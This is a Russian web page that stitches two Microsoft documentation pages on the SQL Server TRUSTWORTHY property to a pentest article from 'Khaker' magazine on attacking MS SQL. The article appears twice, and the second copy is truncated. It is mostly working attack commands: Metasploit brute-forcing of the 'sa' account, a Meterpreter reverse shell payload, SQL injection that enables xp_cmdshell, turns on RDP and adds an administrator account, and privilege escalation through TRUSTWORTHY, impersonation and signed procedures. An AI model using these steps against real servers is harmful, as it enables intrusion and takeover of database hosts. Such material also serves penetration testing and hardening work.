Trustworthy ms sql: Свойство базы данных TRUSTWORTHY — SQL Server

Свойство базы данных TRUSTWORTHY — SQL Server

• 
  03/14/2017
• Чтение занимает 2 мин

В этой статье

Применимо к:Applies to: SQL ServerSQL Server (все поддерживаемые версии) SQL ServerSQL Server (all supported versions) Применимо к:Applies to: SQL ServerSQL Server (все поддерживаемые версии) SQL ServerSQL Server (all supported versions)

Свойство TRUSTWORTHY используется для указания того, доверяет ли экземпляр SQL ServerSQL Server базе данных и ее содержимому.The TRUSTWORTHY database property is used to indicate whether the instance of SQL ServerSQL Server trusts the database and the contents within it. По умолчанию это свойство имеет значение OFF, но его можно установить в ON при помощи инструкции ALTER DATABASE.By default, this setting is OFF, but can be set to ON by using the ALTER DATABASE statement. Например, ALTER DATABASE AdventureWorks2012 SET TRUSTWORTHY ON;.For example, ALTER DATABASE AdventureWorks2012 SET TRUSTWORTHY ON;.

Примечание

Изменять это свойство могут только члены предопределенной роли сервера sysadmin .To set this option, you must be a member of the sysadmin fixed server role.

Это свойство позволяет уменьшить уязвимость системы перед рядом угроз, связанных с присоединением базы данных, содержащей один из следующих объектов:This property can be used to reduce certain threats that can exist as a result of attaching a database that contains one of the following objects:

• вредоносные сборки с параметром разрешения EXTERNAL_ACCESS или UNSAFE.Malicious assemblies with an EXTERNAL_ACCESS or UNSAFE permission setting. Дополнительные сведения см. в статье CLR Integration Security.For more information, see CLR Integration Security.

• вредоносные модули, выполняемые в контексте привилегированных пользователей.Malicious modules that are defined to execute as high privileged users. Дополнительные сведения см. в разделе Предложение EXECUTE AS (Transact-SQL).For more information, see EXECUTE AS Clause (Transact-SQL).

В обеих ситуациях объектам нужны конкретные права доступа, что повышает уязвимость системы. Для защиты от атак при использовании таких объектов в контексте базы данных, уже присоединенной к экземпляру SQL ServerSQL Server, применяют соответствующие механизмы.Both of these situations require a specific degree of privileges and are protected against by appropriate mechanisms when they are used in the context of a database that is already attached to an instance of SQL ServerSQL Server. Однако, если база данных переведена в режим работы «вне сети», пользователь, имеющий доступ к файлу базы данных, теоретически может присоединить ее к любому экземпляру SQL ServerSQL Server и добавить в нее вредоносное содержимое.However, if the database is taken offline, a user that has access to the database file can potentially attach it to an instance of SQL ServerSQL Server of his or her choice and add malicious content to the database. Когда в SQL ServerSQL Serverотсоединяются и присоединяются базы данных, для файлов данных и журналов задаются определенные разрешения, ограничивающие доступ к файлам базы данных.When databases are detached and attached in SQL ServerSQL Server, certain permissions are set on the data and log files that restrict access to the database files.

Так как база данных, присоединенная к экземпляру SQL ServerSQL Server , не может сразу стать доверенной, то ей не разрешается доступ к ресурсам вне ее области до тех пор, пока не будет явно отмечена как доверенная.Because a database that is attached to an instance of SQL ServerSQL Server cannot be immediately trusted, the database is not allowed to access resources beyond the scope of the database until the database is explicitly marked trustworthy. Таким образом, если вы создаете резервную копию базы данных или отсоединяете базу данных, параметру TRUSTWORTHY которой задано значение ON, и затем присоединяете или восстанавливаете базу данных на том же или другом экземпляре SQL Server, после присоединения или восстановления параметр TRUSTWORTHY будет иметь значение OFF.Therefore, if you backup or detach a database that has the TRUSTWORTHY option ON and you attach or restore the database to the same or another SQL Server instance, the TRUSTWORTHY property will be set to OFF upon attach/restore completion. Для успешного выполнения модулей, которые обращаются к ресурсам, внешним по отношению к базе данных, и сборок с параметром разрешения EXTERNAL_ACCESS или UNSAFE нужно, чтобы были удовлетворены кое-какие дополнительные требования.Also, modules that are designed to access resources outside the database, and assemblies with either the EXTERNAL_ACCESS and UNSAFE permission setting, have additional requirements in order to run successfully.

См. такжеRelated Content

Центр безопасности для ядра СУБД SQL Server и Базы данных Azure SQLSecurity Center for SQL Server Database Engine and Azure SQL Database

ALTER DATABASE (Transact-SQL)ALTER DATABASE (Transact-SQL)

Включение свойства TRUSTWORTHY для зеркальной базы данных — SQL Server Database Mirroring

• 
  03/09/2017
• Чтение занимает 2 мин

В этой статье

Применимо к:Applies to: SQL ServerSQL Server (все поддерживаемые версии) SQL ServerSQL Server (all supported versions) Применимо к:Applies to: SQL ServerSQL Server (все поддерживаемые версии) SQL ServerSQL Server (all supported versions)

При резервном копировании базы данных ее свойство TRUSTWORTHY принимает значение OFF.When a database is backed up, the TRUSTWORTHY database property is set to OFF. Поэтому в новой зеркальной базе данных оно всегда будет иметь значение OFF.Therefore, on a new mirror database TRUSTWORTHY is always OFF. Если для базы данных после отработки отказа с переходом на другой ресурс требуется доверие, это потребует дополнительных действий по настройке после начала зеркального отображения.If the database needs to be trustworthy after a failover, extra setup steps are necessary after mirroring begins.

ПроцедураProcedure

Настройка зеркальной базы данных на использование свойства TRUSTWORTHYTo setup a mirror database to use the Trustworthy Property

1. На основном экземпляре сервера необходимо убедиться, что свойство TRUSTWORTHY основной базы данных включено.On the principal server instance, verify that the principal database has the Trustworthy property turned on.

   SELECT name, database_id, is_trustworthy_on FROM sys.databases   
   

   Дополнительные сведения см. в разделе sys.databases (Transact-SQL).For more information, see sys.databases (Transact-SQL).

2. После начала зеркального отображения базы данных необходимо убедиться, что в этот момент база данных является основной, в сеансе используется синхронный режим работы и что сеанс уже синхронизирован.After starting mirroring, verify that the database is currently the principal database, the session is using a synchronous operating mode, and the session is already synchronized.

   SELECT database_id, mirroring_role, mirroring_safety_level_desc, mirroring_state_desc FROM sys.database_mirroring  
   

   Дополнительные сведения см. в разделе sys.database_mirroring (Transact-SQL).For more information, see sys.database_mirroring (Transact-SQL).

3. Как только завершится синхронизация сеанса зеркального отображения, вручную переключитесь к зеркальной базе данных.Once the mirroring session is synchronized, manually fail over to the mirror database.

   Сделать это можно в среде SQL Server Management Studio или при помощи Transact-SQL:This can be done in either SQL Server Management Studio or using Transact-SQL:

4. Следующей командой ALTER DATABASE включите свойство TRUSTWORTHY для базы данных:Turn on the trustworthy database property using the following ALTER DATABASE command:

   ALTER DATABASE <database_name> SET TRUSTWORTHY ON  
   

   Дополнительные сведения см. в разделе ALTER DATABASE (Transact-SQL).For more information, seeALTER DATABASE (Transact-SQL).

5. При необходимости можно вручную выполнить отработку отказа, чтобы вернуться к исходному участнику.Optionally, manually failover again to return to the original principal.

6. Кроме того, можно переключиться в асинхронный режим высокой производительности, для чего свойство SAFETY следует установить в значение OFF и проверить, что свойство WITNESS также установлено в значение OFF.Optionally, switch to asynchronous, high-performance mode by setting SAFETY to OFF and ensuring that WITNESS is also set to OFF.

   На языке Transact-SQL:In Transact-SQL:

   В среде SQL Server Management Studio:In SQL Server Management Studio:

См. также:See Also

Свойство базы данных TRUSTWORTHY TRUSTWORTHY Database Property
Настройка зашифрованной зеркальной базы данныхSet Up an Encrypted Mirror Database

Проверяем MS SQL на прочность. Векторы атак на MS SQL Server

Практически ни один серьезный пентест не обходится без проверки СУБД, ведь это одна из самых популярных у злоумышленников дверей к желаемой информации и машине. В крупных проектах в качестве СУБД очень часто используется MS SQL Server. И о проверке именно его безопасности мы сегодня и поговорим. Открывать Америку не будем — опытные камрады лишь освежат свои знания, а вот для тех, кто только начинает осваивать тему, я постарался максимально подробно разложить все по пунктам.

Введение

Один из самых важных критериев надежности информационной системы — безопасность СУБД. Атаки, направленные на нее, в большинстве случаев критические, потому что могут частично либо полностью нарушить работоспособность системы. Поскольку крупные организации формировали свою инфраструктуру давным-давно и обновление на новые версии ПО вызывает у них «большие» проблемы, самыми распространенными версиями до сих пор остаются MS SQL Server 2005 и MS SQL Server 2008. Но это всего лишь статистика, и далее мы будем рассматривать общие для всех версий векторы и техники. Для удобства условно разобьем весь процесс пентеста на несколько этапов.

Как найти MS SQL

Первое, что начинает делать пентестер, — это собирать информацию о сервисах, расположенных на сервере жертвы. Самое главное, что нужно знать для поиска Microsoft SQL Server, — номера портов, которые он слушает. А слушает он порты 1433 (TCP) и 1434 (UDP). Чтобы проверить, имеется ли MS SQL на сервере жертвы, необходимо его просканировать. Для этого можно использовать Nmap cо скриптом `ms-sql-info`. Запускаться сканирование будет примерно так:

nmap -p 1433 --script=ms-sql-info 192.168.18.128

Ну а результат его выполнения представлен на рис. 1.

Рис. 1.Сканирование MS SQL при помощи Nmap

Помимо Nmap, есть отличный сканирующий модуль для Метасплоита `mssql_ping`, позволяющий также определять наличие MS SQL на атакуемом сервере:

msf> use auxilary/scanner/mssql/mssql_ping
msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87
RHOSTS => 192.168.1.87
msf auxilary(mssql_ping) > run

Рис. 2. Сканирование MS SQL при помощи mssql_ping

Используя один из данных вариантов, можно быстренько определить, установлен ли на сервере MS SQL, а также узнать его версию. После чего можно переходить к следующему этапу.

Brute force

Допустим, СУБД на сервере мы обнаружили. Теперь стоит задача получить к ней доступ. И тут нас встречает первое препятствие в виде аутентификации. Вообще, MS SQL поддерживает два вида аутентификации:

1. Windows Authentication — доверительное соединение, при котором SQL Server принимает учетную запись пользователя, предполагая, что она уже проверена на уровне операционной системы.
2. Смешанный режим — аутентификация средствами SQL Server + Windows Authentication.

По умолчанию используется первый режим аутентификации, а смешанный режим активируется отдельно. На практике же довольно трудно встретить базу без смешанного режима — он более гибок.

Некоторые плюсы смешанного режима

• Позволяет SQL Server поддерживать более старые приложения, а также поставляемые сторонними производителями приложения, для которых необходима проверка подлинности SQL Server.
• Позволяет SQL Server поддерживать среды с несколькими операционными системами, в которых пользователи не проходят проверку подлинности домена Windows.
• Позволяет разработчикам программного обеспечения распространять свои приложения с помощью сложной иерархии разрешений, основанной на известных, заранее установленных именах входа SQL Server.

Обычно на данном этапе мы не имеем доступа в корпоративную сеть, тем самым использовать аутентификацию посредством Windows не можем. Но мы нашли открытый порт с MS SQL, значит, пробуем побрутить админскую учетку `sa`, стандартную для смешанного режима. Для автоматизации процесса используем модуль Метасплоита `mssql_login`:

msf > use auxiliary/scanner/mssql/mssql_login 
msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104
RHOSTS => 172.16.2.104
msf auxiliary(mssql_login) > set PASS_FILE /root/Desktop/pass.txt
[*] 172.16.2.104:1433 - MSSQL - Starting authentication scanner.
[*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect: )
[*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorrect: )
[*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:toor (Incorrect: )
[+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:root
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Отлично! Пароль найден, теперь можем переходить к следующему этапу. Но что, если учетки `sa` на сервере не окажется? Тогда придется брутить и логин, для чего необходимо будет указать скрипту еще один файл, откуда их брать:

msf auxiliary(mssql_login) > set USER_FILE /root/Desktop/user.txt

WWW

Большое разнообразие словарей для брутфорса можно найти здесь.

Получение shell’а

В случае если у нас получилось сбрутить учетку `sa`, мы можем залогиниться в БД. Далее сценарий прост — включаем хранимую процедуру, позволяющую выполнять команды на уровне операционной системы, и заливаем на сервер Meterpreter shell. Крутые ребята написали для Метасплоита отличный модуль `mssql_payload`, который автоматизирует этот процесс:

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set RHOST 172.16.2.104
msf exploit(mssql_payload) > set USERNAME sa
USERNAME => sa
msf exploit(mssql_payload) > set PASSWORD root
PASSWORD => root
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 172.16.2.105
LHOST => 172.16.2.105
[*] Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500

meterpreter > 

Сессия Meterpreter’a создана, теперь ты имеешь полный доступ. Можешь дампить хеш админа, делать скриншоты, создавать/удалять файлы, включать/выключать мышь или клавиатуру и многое другое. Пожалуй, это самый популярный шелл, который используется при тестах на проникновение. Полный список команд Meterpreter’a можно подсмотреть здесь.

Что делать, если логин/пароль не сбрутился?

Но не обольщайся, не так часто модуль `mssql_login` будет тебя радовать: пароль админы очень редко оставляют дефолтным. В таком случае получить шелл нам поможет SQL-инъекция. Представь себе HTML-форму, в которую пользователь вводит номер статьи, и простой уязвимый запрос к БД, причем все это работает под админской учеткой `sa`:

$strSQL = “SELECT * FROM [dbo].[articles] WHERE id=$id”;

Переменная `$id` никак не фильтруется, значит, можно провести SQL-инъекцию, в которой любой запрос будет выполнен из-под админской учетки `sa`. Для того чтобы выполнять команды на уровне операционной системы, необходимо активировать хранимую процедуру `xp_cmdshell`, которая по умолчанию выключена. Нам потребуется отправить четыре запроса для ее активации:

1. `10; EXEC sp_configure ‘show advanced options’,1;`
2. `10; reconfigure;`
3. `10; ‘exec sp_configure ‘xp_cmdshell’,1;`
4. `10; reconfigure`

Системная хранимая процедура `sp_configure` позволяет просматривать, документировать, изменять и восстанавливать конфигурацию сервера. Наиболее простой способ получить доступ к серверу — включить RDP через реестр, создать пользователя с админскими правами и подключиться.

Включаем RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Создаем пользователя:

10; exec master.dbo.xp_cmdshell 'net user root toor /ADD'

Даем права:

10;exec master.dbo.xp_cmdshell 'net localgroup administrators root/add'

Повышение привилегий. TRUSTWORTHY

В предыдущем случае запрос к базе происходил от имени админа, и поэтому было так просто исполнять команды операционной системы. Но что делать, если мы имеем урезанную учетку, у которой не будет прав включить `xp_cmdshell`? В этом случае нам помогут хранимые процедуры и активированное свойство `TRUSTWORTHY` у базы.

Но начнем с самого начала. Для большей наглядности этого вектора опишу весь этап еще на стадии конфигурации базы и учетных записей. Создаем новую базу `YOLO`: `CREATE DATABASE YOLO;`. Создаем нового пользователя `bob` с паролем `marley`: `CREATE LOGIN bob WITH PASSWORD = ‘marley’;` Назначаем пользователя `bob` владельцем базы `YOLO`:

USE YOLO
ALTER LOGIN [bob] with default_database = [YOLO];
CREATE USER [bob] FROM LOGIN [bob];
EXEC sp_addrolemember [db_owner], [bob];

Затем устанавливаем свойство `TRUSTWORTHY`, которое определяет, разрешать ли объектам данной базы (представлениям, пользовательским функциям, хранимым процедурам) обращаться к объектам за пределами данной базы в режиме имперсонации: `ALTER DATABASE YOLO SET TRUSTWORTHY ON`. Логинимся в SQL Server под учеткой `bob:marley`.
Создаем хранимую процедуру для присвоения учетной записи bob привилегий sysadmin:

USE YOLO
GO
CREATE PROCEDURE sp_lvlup
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'bob','sysadmin'
GO

Убедимся, что до исполнения хранимой процедуры мы не имеем привилегий sysadmin:

SELECT is_srvrolemember('sysadmin')
результат = 0

Выполним созданную выше хранимую процедуру `sp_lvlup`:

USE YOLO
EXEC sp_lvlup

И опять проверим наши привилегии:

SELECT is_srvrolemember('sysadmin')
результат = 1

Процедура `sp_lvlup` создана для запуска от имени `OWNER`, что в данном случае является админской учетной записью `sa`. Это возможно, потому что `db_owner` создал хранимую процедуру для своей базы, а эта база сконфигурирована как надежная, то есть свойство `TRUSTWORTHY = On`. Без этого свойства не удалось бы исполнить процедуру из-за нехватки привилегий. Активированное свойство TRUSTWORTHY — это не всегда плохо. Проблемы начинаются, когда администраторы не понижают привилегии владельцам баз. В итоге учетной записи `bob` после исполнения процедуры `sp_lvlup` присвоены привилегии `sysadmin`. Чтобы посмотреть, у каких баз активировано свойство `TRUSTWORTHY`, можно воспользоваться следующим запросом:

SELECT name, database_id, is_trustworthy_on FROM sys.databases

Или для автоматизации всего процесса можно использовать модуль для Метасплоита `mssql_escalate_dbowner_sqli`:

use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
set rhost 172.16.2.104
set rport 80
set GET_PATH /login.asp?id=1+and+1=[SQLi];--
exploit
...
[+] 172.16.2.104:80 - Success! Bob is now a sysadmin!

Повышение привилегий. User Impersonation

Следующий вектор имеет название User Impersonation. Иногда хранимым процедурам необходим доступ к внешним ресурсам, находящимся за пределами базы приложения. Чтобы это реализовать, разработчики используют привилегии `IMPERSONATE` и функцию `EXECUTE AS`, позволяющие выполнить запрос от имени другой учетной записи. Это не уязвимость как таковая, а скорее слабая конфигурация, приводящая к эскалации привилегий.

Как и в предыдущем примере, начнем разбирать суть вектора еще на стадии конфигурации. Первым делом создаем четыре учетные записи:

CREATE LOGIN User1 WITH PASSWORD = 'secret';
CREATE LOGIN User2 WITH PASSWORD = 'secret';
CREATE LOGIN User3 WITH PASSWORD = 'secret';
CREATE LOGIN User4 WITH PASSWORD = 'secret';

Затем даем пользователю `User1` привилегии исполнять запросы от имени `sa`, `User2`, `User3`:

USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO

Логинимся в SQL Server под учетной записью `User1` и проверяем, применились ли привилегии исполнять запросы от других учетных записей.

SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

Теперь проверим текущие привилегии:

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Результат = 0

Ну а сейчас собственно сам трюк — выполним запрос от имени `sa`, так как выше мы дали привилегии учетной записи `User1` выполнять запросы от имени `sa`:

EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Результат = 1

Все в порядке, теперь можем выполнять команды от имени `sa`, а значит, можно включить хранимую процедуру `xp_cmdshell`:

EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

INFO

Учетная запись `sysadmin` по умолчанию может выполнять запросы от имени любых других пользователей. Вывести таблицу со всеми пользователями тебе поможет запрос: `SELECT * FROM master.sys.sysusers WHERE islogin = 1`. Для выполнения запроса от имени другой учетной записи используй `EXECUTE AS LOGIN = ‘AnyUser’`. Чтобы вернуться снова к предыдущей учетной записи, достаточно выполнить запрос `REVERT`.

Вот и весь фокус. Для автоматизации, как обычно, можно воспользоваться модулем Метасплоита `mssql_escalate_executeas_sqli`:

use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex
set rhost 172.16.2.104
set rport 80
set GET_PATH /login.asp?id=1+and+1=[SQLi];--
exploit
...
[+] 172.16.2.104:80 - Success! User1 is now a sysadmin!

Повышение привилегий. Хранимые процедуры, подписанные сертификатом

Для описания данного вектора создадим уязвимую хранимую процедуру, подписанную сертификатом. В отличие от предыдущих примеров, для эскалации привилегий необязательны:

• свойство `TRUSTWORTHY = On`;
• привилегии `IMPERSONATE` и функция `EXECUTE AS`;
• конфигурация хранимой процедуры с классом `WITH EXECUTE AS` для ее выполнения от имени другой учетной записи.

Создадим учетную запись с минимальными правами:

CREATE LOGIN tor WITH PASSWORD = 'loki';
GO
-- Set login’s default database
ALTER LOGIN [tor] with default_database = [master];
GO

Выключим свойство `TRUSTWORTHY`: `ALTER DATABASE master SET TRUSTWORTHY OFF`. И создадим простую хранимую процедуру `sp_xxx`, которая будет выводить столбец `name` из базы `tempdb`, а также из базы, которую ввел пользователь:

USE MASTER;
GO
CREATE PROCEDURE sp_xxx
@DbName varchar(max)
AS    
BEGIN
Declare @query as varchar(max)
SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb''';
EXECUTE(@query)
END
GO

После этого создадим ключ шифрования для базы `MASTER`:

CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'secret';
GO

И сертификат:

CREATE CERTIFICATE sp_xxx_cert
WITH SUBJECT = 'To sign the sp_xxx',
EXPIRY_DATE = '2035-01-01';
GO

Следующим шагом создаем логин из сертификата `sp_xxx`:

CREATE LOGIN sp_xxx_login
FROM CERTIFICATE sp_xxx_cert

И подпишем процедуру созданным сертификатом:

ADD SIGNATURE to sp_xxx
BY CERTIFICATE sp_xxx_cert;
GO

Присвоим логину `sp_lvlup2` привилегии `sysadmin`:

EXEC master..sp_addsrvrolemember @loginame = N'sp_xxx_login', @rolename = N'sysadmin'
GO

Даем привилегии членам группы PUBLIC исполнять процедуру:

GRANT EXECUTE ON sp_xxx to PUBLIC

В итоге мы создали пользователя `tor` с минимальными правами, хранимую процедуру `sp_xxx`, которая выводит имя введенной базы, создали сертификат `sp_xxx_cert` и подписали им хранимую процедуру, а также создали логин `sp_xxx_login` из сертификата и дали ему привилегии `sysadmin`. На этом подготовительная часть закончена. Логинимся учетной записью `tor` и вызываем хранимую процедуру:

EXEC MASTER.dbo.sp_xxx 'master'

Как и положено, она вернет нам имя указанной нами БД — `master` и `tempdb` (см. рис. 3).

Рис. 3. Результат выполнения запроса EXEC MASTER.dbo.sp_xxx ‘master’

Запрос вида `EXEC MASTER.dbo.sp_sqli2 ‘master»—‘` вернет уже только `master` (см. рис. 4).

Рис .4. Результат выполнения запроса EXEC MASTER.dbo.xxx ‘master»—‘

Отлично. Это означает, что хранимая процедура подвержена SQL-инъекции. Проверим наши привилегии с помощью следующего запроса:

EXEC MASTER.dbo.sp_xxx 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--';

Рис. 5. Проверяем наши привилегии через уязвимую хранимую процедуру

`priv_cersp=1`(см. рис. 5) означает, что мы имеем привилегии sysadmin. Выполнить команду `EXEC master..xp_cmdshell ‘whoami’;` не получится, потому что у учетной записи `tor` минимальные права, но если этот запрос внедрить в SQL-инъекцию, то все сработает (рис. 6).

Рис.6. Проверяем свои привилегии в системе

Что самое интересное, такой трюк будет работать в версиях 2005–2014.

Заключение

Разница во всех этих векторах весьма существенна. В некоторых случаях для достижения цели можно ограничиться включенным свойством `TRUSTWORTHY`, позволяющим использовать ресурсы данной базы объектам, находящимся вне, для того чтобы создать и исполнить хранимую процедуру, повышающую привилегии. Где-то можно выполнять хранимые процедуры от имени других учетных записей благодаря наличию привилегий `IMPERSONATE` и функции `EXECUTE AS`, а в третьих случаях важно лишь наличие SQL-инъекции, через которую можно внедрить запрос, и он будет исполнен от имени другой учетной записи. Для полного понимания нюансов и тонкостей я бы советовал проверить эти векторы на своей локальной машине.

В статье не дано исчерпывающее изложение всех векторов атак на СУБД MS SQL, но для поверхностного анализа защищенности она будет весьма полезна. Также рекомендую ознакомиться с другим вектором взлома через DB link’и, который описал Алексей Тюрин в декабрьском номере ][ (#191) в разделе Easy Hack. На этом все, благодарю за внимание и до новых встреч.

Впервые опубликовано в журнале «Хакер» от 04/2015.

Автор: Никита «ir0n» Келесис, Digital Security (@nkelesis, [email protected])

Подпишись на «Хакер»

Методы и средства взлома баз данных MS SQL — «Хакер»

Содержание статьи

Практически ни один серьезный пентест не обходится без проверки СУБД, ведь это одна из самых популярных у злоумышленников дверей к желаемой информации и машине. В крупных проектах в качестве СУБД очень часто используется MS SQL Server. И о проверке именно его безопасности мы сегодня и поговорим. Открывать Америку не будем — опытные камрады лишь освежат свои знания, а вот для тех, кто только начинает осваивать тему, я постарался максимально подробно разложить все по пунктам.

WARNING!

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Введение

Один из самых важных критериев надежности информационной системы — безопасность СУБД. Атаки, направленные на нее, в большинстве случаев критические, потому что могут частично либо полностью нарушить работоспособность системы. Поскольку крупные организации формировали свою инфраструктуру давным-давно и обновление на новые версии ПО вызывает у них «большие» проблемы, самыми распространенными версиями до сих пор остаются MS SQL Server 2005 и MS SQL Server 2008. Но это всего лишь статистика, и далее мы будем рассматривать общие для всех версий векторы и техники. Для удобства условно разобьем весь процесс пентеста на несколько этапов.

Как найти MS SQL

Первое, что начинает делать пентестер, — это собирать информацию о сервисах, расположенных на сервере жертвы. Самое главное, что нужно знать для поиска Microsoft SQL Server, — номера портов, которые он слушает. А слушает он порты 1433 (TCP) и 1434 (UDP). Чтобы проверить, имеется ли MS SQL на сервере жертвы, необходимо его просканировать. Для этого можно использовать Nmap cо скриптом ms-sql-info. Запускаться сканирование будет примерно так:

nmap -p 1433 --script=ms-sql-info 192.168.18.128

Ну а результат его выполнения представлен на рис. 1.

Рис. 1.Сканирование MS SQL при помощи Nmap

Помимо Nmap, есть отличный сканирующий модуль для Метасплоита mssql_ping, позволяющий также определять наличие MS SQL на атакуемом сервере:

msf> use auxilary/scanner/mssql/mssql_ping
msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87
RHOSTS => 192.168.1.87
msf auxilary(mssql_ping) > run

Используя один из данных вариантов, можно быстренько определить, установлен ли на сервере MS SQL, а также узнать его версию. После чего можно переходить к следующему этапу.

Рис. 2. Сканирование MS SQL при помощи mssql_ping

Brute force

Допустим, СУБД на сервере мы обнаружили. Теперь стоит задача получить к ней доступ. И тут нас встречает первое препятствие в виде аутентификации. Вообще, MS SQL поддерживает два вида аутентификации:

1. Windows Authentication — доверительное соединение, при котором SQL Server принимает учетную запись пользователя, предполагая, что она уже проверена на уровне операционной системы.
2. Смешанный режим — аутентификация средствами SQL Server + Windows Authentication.

По умолчанию используется первый режим аутентификации, а смешанный режим активируется отдельно. На практике же довольно трудно встретить базу без смешанного режима — он более гибок.

Некоторые плюсы смешанного режима

• Позволяет SQL Server поддерживать более старые приложения, а также поставляемые сторонними производителями приложения, для которых необходима проверка подлинности SQL Server.

• Позволяет SQL Server поддерживать среды с несколькими операционными системами, в которых пользователи не проходят проверку подлинности домена Windows.

• Позволяет разработчикам программного обеспечения распространять свои приложения с помощью сложной иерархии разрешений, основанной на известных, заранее установленных именах входа SQL Server.

Обычно на данном этапе мы не имеем доступа в корпоративную сеть, тем самым использовать аутентификацию посредством Windows не можем. Но мы нашли открытый порт с MS SQL, значит, пробуем побрутить админскую учетку sa, стандартную для смешанного режима. Для автоматизации процесса используем модуль Метасплоита mssql_login:

msf > use auxiliary/scanner/mssql/mssql_login 
msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104
RHOSTS => 172.16.2.104
msf auxiliary(mssql_login) > set PASS_FILE /root/Desktop/pass.txt
[*] 172.16.2.104:1433 - MSSQL - Starting authentication scanner.
[*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect: )
[*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorrect: )
[*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:toor (Incorrect: )
[+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:root
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Отлично! Пароль найден, теперь можем переходить к следующему этапу. Но что, если учетки sa на сервере не окажется? Тогда придется брутить и логин, для чего необходимо будет указать скрипту еще один файл, откуда их брать:

msf auxiliary(mssql_login) > set USER_FILE /root/Desktop/user.txt

WWW

Большое разнообразие словарей для брутфорса можно найти здесь.

Получение shell’а

В случае если у нас получилось сбрутить учетку sa, мы можем залогиниться в БД. Далее сценарий прост — включаем хранимую процедуру, позволяющую выполнять команды на уровне операционной системы, и заливаем на сервер Meterpreter shell. Крутые ребята написали для Метасплоита отличный модуль mssql_payload, который автоматизирует этот процесс:

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set RHOST 172.16.2.104
msf exploit(mssql_payload) > set USERNAME sa
USERNAME => sa
msf exploit(mssql_payload) > set PASSWORD root
PASSWORD => root
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 172.16.2.105
LHOST => 172.16.2.105
[*] Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500
meterpreter >

Сессия Meterpreter’a создана, теперь ты имеешь полный доступ. Можешь дампить хеш админа, делать скриншоты, создавать/удалять файлы, включать/выключать мышь или клавиатуру и многое другое. Пожалуй, это самый популярный шелл, который используется при тестах на проникновение. Полный список команд Meterpreter’a можно подсмотреть здесь.

Что делать, если логин/пароль не сбрутился?

Но не обольщайся, не так часто модуль mssql_login будет тебя радовать: пароль админы очень редко оставляют дефолтным. В таком случае получить шелл нам поможет SQL-инъекция. Представь себе HTML-форму, в которую пользователь вводит номер статьи, и простой уязвимый запрос к БД, причем все это работает под админской учеткой sa:

$strSQL = "SELECT * FROM [dbo].[articles] WHERE id=$id";

Переменная $id никак не фильтруется, значит, можно провести SQL-инъекцию, в которой любой запрос будет выполнен из-под админской учетки sa. Для того чтобы выполнять команды на уровне операционной системы, необходимо активировать хранимую процедуру xp_cmdshell, которая по умолчанию выключена. Нам потребуется отправить четыре запроса для ее активации:

1. EXEC sp_configure 'show advanced options',1;
2. reconfigure;
3. ‘exec sp_configure 'xp_cmdshell',1;
4. reconfigure

Системная хранимая процедура sp_configure позволяет просматривать, документировать, изменять и восстанавливать конфигурацию сервера. Наиболее простой способ получить доступ к серверу — включить RDP через реестр, создать пользователя с админскими правами и подключиться.

Включаем RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Создаем пользователя:

10; exec master.dbo.xp_cmdshell 'net user root toor /ADD'

Даем права:

10;exec master.dbo.xp_cmdshell 'net localgroup administrators root/add'

Повышение привилегий. TRUSTWORTHY

В предыдущем случае запрос к базе происходил от имени админа, и поэтому было так просто исполнять команды операционной системы. Но что делать, если мы имеем урезанную учетку, у которой не будет прав включить xp_cmdshell? В этом случае нам помогут хранимые процедуры и активированное свойство TRUSTWORTHY у базы.

